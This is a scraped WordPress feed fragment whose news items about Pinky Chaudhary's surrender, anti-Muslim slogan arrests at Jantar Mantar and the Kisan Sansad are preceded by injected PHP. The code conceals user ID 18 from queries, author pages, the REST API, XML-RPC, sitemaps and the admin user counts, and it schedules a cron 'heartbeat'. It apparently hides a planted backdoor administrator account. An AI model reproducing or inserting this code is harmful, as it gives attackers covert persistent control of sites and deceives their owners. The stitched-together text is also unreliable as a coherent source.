add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Pinky Chaudhary surrenders before Delhi police appeared first on The Edge Media.
]]>Chaudhary was evading arrest after videos surfaced of him and other protesters allegedly shouting communal slogans on August 8. The protesters, however, claim that they demanded the removal of ‘colonial-era’ laws.
Will surrender to police’
Pinky on Monday launched a video where he announced that he will surrender to the Delhi Police on Tuesday. He maintained that he and his supporters did not do anything wrong in his video. “I am firm on my point that neither I nor any worker of my organisation did anything wrong at Jantar Mantar. I respect the court. I will get myself arrested tomorrow, on August 31, around 12pm at Connaught Place police station and will cooperate with police during the probe,” Pinky was heard saying in the video, according to a report.
Pinky in his video also said that the allegations against him are ‘false and baseless’.
Uttam Upadhyay, BJP leader Ashwini Upadhyay, Preet Singh, Deepak Singh, Deepak Kumar, Vinod Sharma, Vinit Bajpai and Sushil Tiwari were among the others arrested for allegedly chanting communal slogans and defying Covid-19 protocols along with Pinky. They along with their supporters organised a ‘Bharat Jodo Andolan’ rally, during which activists claim that communal slogans were chanted. Upadhyay, who is also out on bail, continues to maintain that there were no communal chants.
The post Pinky Chaudhary surrenders before Delhi police appeared first on The Edge Media.
]]>The post BJP Member and Five Others Arrested for Anti-Muslim Slogans at Delhi Rally appeared first on The Edge Media.
]]>BJP member Ashwini Upadhyay and five others were arrested on Sunday for shouting violent anti-Muslim slogans at a rally at Delhi’s Jantar Mantar. Ashwini Upadhyay, who is suspected of being one of the protest’s organizers, was questioned with other suspects until late last night.
The arrests were made in response to indignation over footage showing a gang yelling obscene chants threatening Muslims at Jantar Mantar, a protest location in Delhi’s center.
Preet Singh, the director of Save India, is among those detained. Vinod Sharma, Deepak Singh, Vineet Kranti, and a suspect with only one name, Deepak, are the others.
The post BJP Member and Five Others Arrested for Anti-Muslim Slogans at Delhi Rally appeared first on The Edge Media.
]]>The post Delhi government allows farmers to hold Kisan Sansad at Jantar Mantar appeared first on The Edge Media.
]]>

Police threw a ring of security around central Delhi and kept a tight vigil on the movement of vehicles.
The Delhi government and police on Wednesday agreed to allow farmers to hold the Kisan Sansad at Jantar Mantar from today till August 9 between 11 am and 5 pm.
The protesters have been asked to give an undertaking that all Covid norms would be followed and the protest would be peaceful, PTI reported.
This is the first time since the violence in the national capital during a tractor rally on January 26 that the authorities have given permission to protesting farmer unions to hold a protest in the city.
The post Delhi government allows farmers to hold Kisan Sansad at Jantar Mantar appeared first on The Edge Media.
]]>